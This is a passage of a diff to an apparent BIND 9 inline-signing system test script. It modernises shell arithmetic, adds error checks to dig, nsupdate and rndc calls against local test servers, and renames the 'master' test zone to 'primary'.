+n=$((n + 1))
 echo_i "checking that update has been transferred and has been signed ($n)"
 ret=0
 for i in 1 2 3 4 5 6 7 8 9 10
 do
 	ret=0
-	$DIG $DIGOPTS @10.53.0.3 added.bits A > dig.out.ns3.test$n
+	$DIG $DIGOPTS @10.53.0.3 added.bits A > dig.out.ns3.test$n || ret=1
 	grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 	grep "ANSWER: 2," dig.out.ns3.test$n > /dev/null || ret=1
 	if [ $ret = 0 ]; then break; fi
 	sleep 1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-$NSUPDATE << EOF
+n=$((n + 1))
+echo_i "checking YYYYMMDDVV (2011072400) serial on hidden primary ($n)"
+ret=0
+
+$NSUPDATE << EOF || ret=1
 zone bits
 server 10.53.0.2 ${PORT}
 update add bits 0 SOA ns2.bits. . 2011072400 20 20 1814400 3600
 send
 EOF
 
-n=`expr $n + 1`
-echo_i "checking YYYYMMDDVV (2011072400) serial on hidden primary ($n)"
-ret=0
-$DIG $DIGOPTS @10.53.0.2 bits SOA > dig.out.ns2.test$n
+$DIG $DIGOPTS @10.53.0.2 bits SOA > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2011072400" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking YYYYMMDDVV (2011072400) serial in signed zone ($n)"
 for i in 1 2 3 4 5 6 7 8 9 10
 do
 	ret=0
-	$DIG $DIGOPTS @10.53.0.3 bits SOA > dig.out.ns3.test$n
+	$DIG $DIGOPTS @10.53.0.3 bits SOA > dig.out.ns3.test$n || ret=1
 	grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 	grep "ANSWER: 2," dig.out.ns3.test$n > /dev/null || ret=1
 	grep "2011072400" dig.out.ns3.test$n > /dev/null || ret=1
@@ -195,77 +209,79 @@ do
 	sleep 1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that the zone is signed on initial transfer, noixfr ($n)"
 ret=0
 for i in 1 2 3 4 5 6 7 8 9 10 1 2 3 4 5 6 7 8 9 10 1 2 3 4 5 6 7 8 9 10
 do
 	ret=0
-	$RNDCCMD 10.53.0.3 signing -list noixfr > signing.out.test$n 2>&1
-	keys=`grep '^Done signing' signing.out.test$n | wc -l`
+	$RNDCCMD 10.53.0.3 signing -list noixfr > signing.out.test$n 2>&1 || ret=1
+	keys=$(grep '^Done signing' signing.out.test$n | wc -l)
 	[ $keys = 2 ] || ret=1
 	if [ $ret = 0 ]; then break; fi
 	sleep 1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking that the record is added on the hidden primary, noixfr ($n)"
+ret=0
 
-$NSUPDATE << EOF
+$NSUPDATE << EOF || ret=1
 zone noixfr
 server 10.53.0.4 ${PORT}
 update add added.noixfr 0 A 1.2.3.4
 send
 EOF
 
-n=`expr $n + 1`
-echo_i "checking that the record is added on the hidden primary, noixfr ($n)"
-ret=0
-$DIG $DIGOPTS @10.53.0.4 added.noixfr A > dig.out.ns4.test$n
+$DIG $DIGOPTS @10.53.0.4 added.noixfr A > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that update has been transferred and has been signed, noixfr ($n)"
 ret=0
 for i in 1 2 3 4 5 6 7 8 9 10 1 2 3 4 5 6 7 8 9 10 1 2 3 4 5 6 7 8 9 10
 do
 	ret=0
-	$DIG $DIGOPTS @10.53.0.3 added.noixfr A > dig.out.ns3.test$n
+	$DIG $DIGOPTS @10.53.0.3 added.noixfr A > dig.out.ns3.test$n || ret=1
 	grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 	grep "ANSWER: 2," dig.out.ns3.test$n > /dev/null || ret=1
 	if [ $ret = 0 ]; then break; fi
 	sleep 1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-$NSUPDATE << EOF
+n=$((n + 1))
+echo_i "checking YYYYMMDDVV (2011072400) serial on hidden primary, noixfr ($n)"
+ret=0
+
+$NSUPDATE << EOF || ret=1
 zone noixfr
 server 10.53.0.4 ${PORT}
 update add noixfr 0 SOA ns4.noixfr. . 2011072400 20 20 1814400 3600
 send
 EOF
 
-n=`expr $n + 1`
-echo_i "checking YYYYMMDDVV (2011072400) serial on hidden primary, noixfr ($n)"
-ret=0
-$DIG $DIGOPTS @10.53.0.4 noixfr SOA > dig.out.ns4.test$n
+$DIG $DIGOPTS @10.53.0.4 noixfr SOA > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns4.test$n > /dev/null || ret=1
 grep "2011072400" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking YYYYMMDDVV (2011072400) serial in signed zone, noixfr ($n)"
 for i in 1 2 3 4 5 6 7 8 9 10
 do
 	ret=0
-	$DIG $DIGOPTS @10.53.0.3 noixfr SOA > dig.out.ns3.test$n
+	$DIG $DIGOPTS @10.53.0.3 noixfr SOA > dig.out.ns3.test$n || ret=1
 	grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 	grep "ANSWER: 2," dig.out.ns3.test$n > /dev/null || ret=1
 	grep "2011072400" dig.out.ns3.test$n > /dev/null || ret=1
@@ -273,64 +289,64 @@ do
 	sleep 1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that the primary zone signed on initial load ($n)"
 ret=0
 for i in 1 2 3 4 5 6 7 8 9 10
 do
 	ret=0
-	$RNDCCMD 10.53.0.3 signing -list master  > signing.out.test$n 2>&1
-	keys=`grep '^Done signing' signing.out.test$n | wc -l`
+	$RNDCCMD 10.53.0.3 signing -list primary  > signing.out.test$n 2>&1 || ret=1
+	keys=$(grep '^Done signing' signing.out.test$n | wc -l)
 	[ $keys = 2 ] || ret=1
 	if [ $ret = 0 ]; then break; fi
 	sleep 1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking removal of private type record via 'rndc signing -clear' (primary) ($n)"
 ret=0
-$RNDCCMD 10.53.0.3 signing -list master > signing.out.test$n 2>&1
-keys=`sed -n -e 's/Done signing with key \(.*\)$/\1/p' signing.out.test$n`
+$RNDCCMD 10.53.0.3 signing -list primary > signing.out.test$n 2>&1 || ret=1
+keys=$(sed -n -e 's/Done signing with key \(.*\)$/\1/p' signing.out.test$n)
 for key in $keys; do
-	$RNDCCMD 10.53.0.3 signing -clear ${key} master > /dev/null || ret=1
+	$RNDCCMD 10.53.0.3 signing -clear ${key} primary > /dev/null || ret=1
 	break;	# We only want to remove 1 record for now.
 done 2>&1 |sed 's/^/ns3 /' | cat_i
 
 for i in 1 2 3 4 5 6 7 8 9
 do
 	ans=0
-	$RNDCCMD 10.53.0.3 signing -list master > signing.out.test$n 2>&1
-        num=`grep "Done signing with" signing.out.test$n | wc -l`
+	$RNDCCMD 10.53.0.3 signing -list primary > signing.out.test$n 2>&1 || ret=1
+        num=$(grep "Done signing with" signing.out.test$n | wc -l)
 	[ $num = 1 ] && break
 	sleep 1
 done
 [ $ans = 0 ] || ret=1
 
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking private type was properly signed (primary) ($n)"
 ret=0
-$DIG $DIGOPTS @10.53.0.6 master TYPE65534 > dig.out.ns6.test$n
+$DIG $DIGOPTS @10.53.0.6 primary TYPE65534 > dig.out.ns6.test$n || ret=1
 grep "ANSWER: 2," dig.out.ns6.test$n > /dev/null || ret=1
 grep "flags:.* ad[ ;]" dig.out.ns6.test$n > /dev/null || ret=1
 
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking removal of remaining private type record via 'rndc signing -clear' (primary) ($n)"
 ret=0
-$RNDCCMD 10.53.0.3 signing -clear all master > /dev/null || ret=1
+$RNDCCMD 10.53.0.3 signing -clear all primary > /dev/null || ret=1
 for i in 1 2 3 4 5 6 7 8 9 10
 do
 	ans=0
-	$RNDCCMD 10.53.0.3 signing -list master > signing.out.test$n 2>&1
+	$RNDCCMD 10.53.0.3 signing -list primary > signing.out.test$n 2>&1 || ret=1
 	grep "No signing records found" signing.out.test$n > /dev/null || ans=1
 	[ $ans = 1 ] || break
 	sleep 1
@@ -338,17 +354,17 @@ done
 [ $ans = 0 ] || ret=1
 
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check adding of record to unsigned primary ($n)"
 ret=0
-cp ns3/master2.db.in ns3/master.db
-rndc_reload ns3 10.53.0.3 master
+cp ns3/primary2.db.in ns3/primary.db
+rndc_reload ns3 10.53.0.3 primary
 for i in 1 2 3 4 5 6 7 8 9
 do
 	ans=0
-	$DIG $DIGOPTS @10.53.0.3 e.master A > dig.out.ns3.test$n
+	$DIG $DIGOPTS @10.53.0.3 e.primary A > dig.out.ns3.test$n || ret=1
 	grep "10.0.0.5" dig.out.ns3.test$n > /dev/null || ans=1
 	grep "ANSWER: 2," dig.out.ns3.test$n > /dev/null || ans=1
 	[ $ans = 1 ] || break
@@ -356,28 +372,28 @@ do
 done
 [ $ans = 0 ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check adding record fails when SOA serial not changed ($n)"
 ret=0
-echo "c A 10.0.0.3" >> ns3/master.db
+echo "c A 10.0.0.3" >> ns3/primary.db
 rndc_reload ns3 10.53.0.3
 sleep 1
-$DIG $DIGOPTS @10.53.0.3 c.master A > dig.out.ns3.test$n
+$DIG $DIGOPTS @10.53.0.3 c.primary A > dig.out.ns3.test$n || ret=1
 grep "NXDOMAIN" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check adding record works after updating SOA serial ($n)"
 ret=0
-cp ns3/master3.db.in ns3/master.db
-$RNDCCMD 10.53.0.3 reload master 2>&1 | sed 's/^/ns3 /' | cat_i
+cp ns3/primary3.db.in ns3/primary.db
+$RNDCCMD 10.53.0.3 reload primary 2>&1 | sed 's/^/ns3 /' | cat_i
 for i in 1 2 3 4 5 6 7 8 9
 do
 	ans=0
-	$DIG $DIGOPTS @10.53.0.3 c.master A > dig.out.ns3.test$n
+	$DIG $DIGOPTS @10.53.0.3 c.primary A > dig.out.ns3.test$n || ret=1
 	grep "10.0.0.3" dig.out.ns3.test$n > /dev/null || ans=1
 	grep "ANSWER: 2," dig.out.ns3.test$n > /dev/null || ans=1
 	[ $ans = 1 ] || break
@@ -385,63 +401,63 @@ do
 done
 [ $ans = 0 ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check the added record was properly signed ($n)"
 ret=0
-$DIG $DIGOPTS @10.53.0.3 e.master A > dig.out.ns6.test$n
+$DIG $DIGOPTS @10.53.0.3 e.primary A > dig.out.ns6.test$n || ret=1
 grep "10.0.0.5" dig.out.ns6.test$n > /dev/null || ans=1
 grep "ANSWER: 2," dig.out.ns6.test$n > /dev/null || ans=1
 grep "flags:.* ad[ ;]" dig.out.ns6.test$n > /dev/null || ans=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that the dynamic primary zone signed on initial load ($n)"
 ret=0
 for i in 1 2 3 4 5 6 7 8 9 10
 do
 	ret=0
-	$RNDCCMD 10.53.0.3 signing -list dynamic > signing.out.test$n 2>&1
-	keys=`grep '^Done signing' signing.out.test$n | wc -l`
+	$RNDCCMD 10.53.0.3 signing -list dynamic > signing.out.test$n 2>&1 || ret=1
+	keys=$(grep '^Done signing' signing.out.test$n | wc -l)
 	[ $keys = 2 ] || ret=1
 	if [ $ret = 0 ]; then break; fi
 	sleep 1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking primary zone that was updated while offline is correct ($n)"
 ret=0
-$DIG $DIGOPTS +nodnssec +short @10.53.0.3 updated SOA >dig.out.ns2.soa.test$n
-serial=`awk '{print $3}' dig.out.ns2.soa.test$n`
+$DIG $DIGOPTS +nodnssec +short @10.53.0.3 updated SOA >dig.out.ns3.soa.test$n || ret=1
+serial=$(awk '{print $3}' dig.out.ns3.soa.test$n)
 # serial should have changed
 [ "$serial" = "2000042407" ] && ret=1
 # e.updated should exist and should be signed
-$DIG $DIGOPTS @10.53.0.3 e.updated A > dig.out.ns3.test$n
+$DIG $DIGOPTS @10.53.0.3 e.updated A > dig.out.ns3.test$n || ret=1
 grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep "ANSWER: 2," dig.out.ns3.test$n > /dev/null || ret=1
 # updated.db.signed.jnl should exist, should have the source serial
-# of master2.db, and should show a minimal diff: no more than 8 added
+# of primary2.db, and should show a minimal diff: no more than 8 added
 # records (SOA/RRSIG, 2 x NSEC/RRSIG, A/RRSIG), and 4 removed records
 # (SOA/RRSIG, NSEC/RRSIG).
-$JOURNALPRINT ns3/updated.db.signed.jnl >journalprint.out.test$n
-serial=`awk '/Source serial =/ {print $4}' journalprint.out.test$n`
+$JOURNALPRINT ns3/updated.db.signed.jnl > journalprint.out.test$n || ret=1
+serial=$(awk '/Source serial =/ {print $4}' journalprint.out.test$n)
 [ "$serial" = "2000042408" ] || ret=1
-diffsize=`wc -l < journalprint.out.test$n`
+diffsize=$(wc -l < journalprint.out.test$n)
 [ "$diffsize" -le 13 ] || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking adding of record to unsigned primary using UPDATE ($n)"
 ret=0
 
 [ -f ns3/dynamic.db.jnl ] && { ret=1 ; echo_i "journal exists (pretest)" ; }
 
-$NSUPDATE << EOF
+$NSUPDATE << EOF || ret=1
 zone dynamic
 server 10.53.0.3 ${PORT}
 update add e.dynamic 0 A 1.2.3.4
@@ -453,7 +469,7 @@ EOF
 for i in 1 2 3 4 5 6 7 8 9 10
 do
 	ans=0
-	$DIG $DIGOPTS @10.53.0.3 e.dynamic > dig.out.ns3.test$n
+	$DIG $DIGOPTS @10.53.0.3 e.dynamic > dig.out.ns3.test$n || ret=1
 	grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ans=1
 	grep "ANSWER: 2," dig.out.ns3.test$n > /dev/null || ans=1
 	grep "1.2.3.4" dig.out.ns3.test$n > /dev/null || ans=1
@@ -463,45 +479,46 @@ done
 [ $ans = 0 ] || { ret=1; echo_i "signed record not found"; cat dig.out.ns3.test$n ; }
 
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "stop bump in the wire signer server ($n)"
 ret=0
-stop_server inline ns3 || ret=1
+stop_server ns3 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "restart bump in the wire signer server ($n)"
 ret=0
-start_server --noclean --restart --port ${PORT} inline ns3 || ret=1
+start_server --noclean --restart --port ${PORT} ns3 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking YYYYMMDDVV (2011072450) serial on hidden primary ($n)"
+ret=0
 
-$NSUPDATE << EOF
+$NSUPDATE << EOF || ret=1
 zone bits
 server 10.53.0.2 ${PORT}
 update add bits 0 SOA ns2.bits. . 2011072450 20 20 1814400 3600
 send
 EOF
 
-n=`expr $n + 1`
-echo_i "checking YYYYMMDDVV (2011072450) serial on hidden primary ($n)"
-ret=0
-$DIG $DIGOPTS @10.53.0.2 bits SOA > dig.out.ns2.test$n
+$DIG $DIGOPTS @10.53.0.2 bits SOA > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2011072450" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking YYYYMMDDVV (2011072450) serial in signed zone ($n)"
 for i in 1 2 3 4 5 6 7 8 9 10
 do
 	ret=0
-	$DIG $DIGOPTS @10.53.0.3 bits SOA > dig.out.ns3.test$n
+	$DIG $DIGOPTS @10.53.0.3 bits SOA > dig.out.ns3.test$n || ret=1
 	grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 	grep "ANSWER: 2," dig.out.ns3.test$n > /dev/null || ret=1
 	grep "2011072450" dig.out.ns3.test$n > /dev/null || ret=1
@@ -509,31 +526,32 @@ do
 	sleep 1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking YYYYMMDDVV (2011072450) serial on hidden primary, noixfr ($n)"
+ret=0
 
-$NSUPDATE << EOF
+$NSUPDATE << EOF || ret=1
 zone noixfr
 server 10.53.0.4 ${PORT}
 update add noixfr 0 SOA ns4.noixfr. . 2011072450 20 20 1814400 3600
 send
 EOF
 
-n=`expr $n + 1`
-echo_i "checking YYYYMMDDVV (2011072450) serial on hidden primary, noixfr ($n)"
-ret=0
-$DIG $DIGOPTS @10.53.0.4 noixfr SOA > dig.out.ns4.test$n
+$DIG $DIGOPTS @10.53.0.4 noixfr SOA > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns4.test$n > /dev/null || ret=1
 grep "2011072450" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking YYYYMMDDVV (2011072450) serial in signed zone, noixfr ($n)"
 for i in 1 2 3 4 5 6 7 8 9 10
 do
 	ret=0
-	$DIG $DIGOPTS @10.53.0.3 noixfr SOA > dig.out.ns3.test$n
+	$DIG $DIGOPTS @10.53.0.3 noixfr SOA > dig.out.ns3.test$n || ret=1
 	grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 	grep "ANSWER: 2," dig.out.ns3.test$n > /dev/null || ret=1
 	grep "2011072450" dig.out.ns3.test$n > /dev/null || ret=1
@@ -541,31 +559,32 @@ do
 	sleep 1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-$NSUPDATE << EOF
+n=$((n + 1))
+echo_i "checking forwarded update on hidden primary ($n)"
+ret=0
+
+$NSUPDATE << EOF || ret=1
 zone bits
 server 10.53.0.3 ${PORT}
 update add bits 0 SOA ns2.bits. . 2011072460 20 20 1814400 3600
 send
 EOF
 
-n=`expr $n + 1`
-echo_i "checking forwarded update on hidden primary ($n)"
-ret=0
-$DIG $DIGOPTS @10.53.0.2 bits SOA > dig.out.ns2.test$n
+$DIG $DIGOPTS @10.53.0.2 bits SOA > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2011072460" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking forwarded update on signed zone ($n)"
 for i in 1 2 3 4 5 6 7 8 9 10
 do
 	ret=0
-	$DIG $DIGOPTS @10.53.0.3 bits SOA > dig.out.ns3.test$n
+	$DIG $DIGOPTS @10.53.0.3 bits SOA > dig.out.ns3.test$n || ret=1
 	grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 	grep "ANSWER: 2," dig.out.ns3.test$n > /dev/null || ret=1
 	grep "2011072460" dig.out.ns3.test$n > /dev/null || ret=1
@@ -573,31 +592,32 @@ do
 	sleep 1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
+
+n=$((n + 1))
+echo_i "checking forwarded update on hidden primary, noixfr ($n)"
+ret=0
 
-$NSUPDATE << EOF
+$NSUPDATE << EOF || ret=1
 zone noixfr
 server 10.53.0.3 ${PORT}
 update add noixfr 0 SOA ns4.noixfr. . 2011072460 20 20 1814400 3600
 send
 EOF
 
-n=`expr $n + 1`
-echo_i "checking forwarded update on hidden primary, noixfr ($n)"
-ret=0
-$DIG $DIGOPTS @10.53.0.4 noixfr SOA > dig.out.ns4.test$n
+$DIG $DIGOPTS @10.53.0.4 noixfr SOA > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns4.test$n > /dev/null || ret=1
 grep "2011072460" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking forwarded update on signed zone, noixfr ($n)"
 for i in 1 2 3 4 5 6 7 8 9 10
 do
 	ret=0
-	$DIG $DIGOPTS @10.53.0.3 noixfr SOA > dig.out.ns3.test$n
+	$DIG $DIGOPTS @10.53.0.3 noixfr SOA > dig.out.ns3.test$n || ret=1
 	grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 	grep "ANSWER: 2," dig.out.ns3.test$n > /dev/null || ret=1
 	grep "2011072460" dig.out.ns3.test$n > /dev/null || ret=1
@@ -605,33 +625,33 @@ do
 	sleep 1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 ret=0
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking turning on of inline signing in a secondary zone via reload ($n)"
-$DIG $DIGOPTS @10.53.0.5 +dnssec bits SOA > dig.out.ns5.test$n
+$DIG $DIGOPTS @10.53.0.5 +dnssec bits SOA > dig.out.ns5.test$n || ret=1
 grep "status: NOERROR" dig.out.ns5.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns5.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "setup broken"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 copy_setports ns5/named.conf.post ns5/named.conf
-(cd ns5; $KEYGEN -q -a rsasha256 bits) > /dev/null 2>&1
-(cd ns5; $KEYGEN -q -a rsasha256 -f KSK bits) > /dev/null 2>&1
+(cd ns5; $KEYGEN -q -a ${DEFAULT_ALGORITHM} bits) > /dev/null 2>&1
+(cd ns5; $KEYGEN -q -a ${DEFAULT_ALGORITHM} -f KSK bits) > /dev/null 2>&1
 rndc_reload ns5 10.53.0.5
 for i in 1 2 3 4 5 6 7 8 9 10
 do
 	ret=0
-	$DIG $DIGOPTS @10.53.0.5 bits SOA > dig.out.ns5.test$n
+	$DIG $DIGOPTS @10.53.0.5 bits SOA > dig.out.ns5.test$n || ret=1
 	grep "status: NOERROR" dig.out.ns5.test$n > /dev/null || ret=1
 	grep "ANSWER: 2," dig.out.ns5.test$n > /dev/null || ret=1
 	if [ $ret = 0 ]; then break; fi
 	sleep 1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking rndc freeze/thaw of dynamic inline zone no change ($n)"
 ret=0
 $RNDCCMD 10.53.0.3 freeze dynamic > freeze.test$n 2>&1 || { echo_i "/' < freeze.test$n"; ret=1;  }
@@ -640,10 +660,10 @@ $RNDCCMD 10.53.0.3 thaw dynamic > thaw.test$n 2>&1 || { echo_i "rndc thaw dynami
 sleep 1
 grep "zone dynamic/IN (unsigned): ixfr-from-differences: unchanged" ns3/named.run > /dev/null ||  ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking rndc freeze/thaw of dynamic inline zone ($n)"
 ret=0
 $RNDCCMD 10.53.0.3 freeze dynamic > freeze.test$n 2>&1 || ret=1
@@ -654,26 +674,26 @@ awk '$2 == ";" && $3 ~ /serial/ { printf("%d %s %s\n", $1 + 1, $2, $3); next; }
 mv ns3/dynamic.db.new ns3/dynamic.db
 $RNDCCMD 10.53.0.3 thaw dynamic > thaw.test$n 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check added record freeze1.dynamic ($n)"
 for i in 1 2 3 4 5 6 7 8 9
 do
     ret=0
-    $DIG $DIGOPTS @10.53.0.3 freeze1.dynamic TXT > dig.out.ns3.test$n
+    $DIG $DIGOPTS @10.53.0.3 freeze1.dynamic TXT > dig.out.ns3.test$n || ret=1
     grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
     grep "ANSWER: 2," dig.out.ns3.test$n > /dev/null || ret=1
     test $ret = 0 && break
     sleep 1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # allow 1 second so that file time stamps change
 sleep 1
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking rndc freeze/thaw of server ($n)"
 ret=0
 $RNDCCMD 10.53.0.3 freeze > freeze.test$n 2>&1 || ret=1
@@ -684,31 +704,31 @@ awk '$2 == ";" && $3 ~ /serial/ { printf("%d %s %s\n", $1 + 1, $2, $3); next; }
 mv ns3/dynamic.db.new ns3/dynamic.db
 $RNDCCMD 10.53.0.3 thaw > thaw.test$n 2>&1 || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check added record freeze2.dynamic ($n)"
 for i in 1 2 3 4 5 6 7 8 9
 do
     ret=0
-    $DIG $DIGOPTS @10.53.0.3 freeze2.dynamic TXT > dig.out.ns3.test$n
+    $DIG $DIGOPTS @10.53.0.3 freeze2.dynamic TXT > dig.out.ns3.test$n || ret=1
     grep "status: NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
     grep "ANSWER: 2," dig.out.ns3.test$n > /dev/null || ret=1
     test $ret = 0 && break
     sleep 1
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check rndc reload allows reuse of inline-signing zones ($n)"
 ret=0
 { $RNDCCMD 10.53.0.3 reload 2>&1 || ret=1 ; } | sed 's/^/ns3 /' | cat_i
 grep "not reusable" ns3/named.run > /dev/null 2>&1 && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "check rndc sync removes both signed and unsigned journals ($n)"
 ret=0
 [ -f ns3/dynamic.db.jnl ] || ret=1
@@ -717,9 +737,13 @@ $RNDCCMD 10.53.0.3 sync -clean dynamic 2>&1 || ret=1
 [ -f ns3/dynamic.db.jnl ] && ret=1
 [ -f ns3/dynamic.db.signed.jnl ] && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-$NSUPDATE << EOF
+n=$((n + 1))
+echo_i "checking that the retransfer record is added on the hidden primary ($n)"
+ret=0
+
+$NSUPDATE << EOF || ret=1
 zone retransfer
 server 10.53.0.2 ${PORT}
 update add added.retransfer 0 A 1.2.3.4
@@ -727,37 +751,34 @@ send
 
 EOF
 
-n=`expr $n + 1`
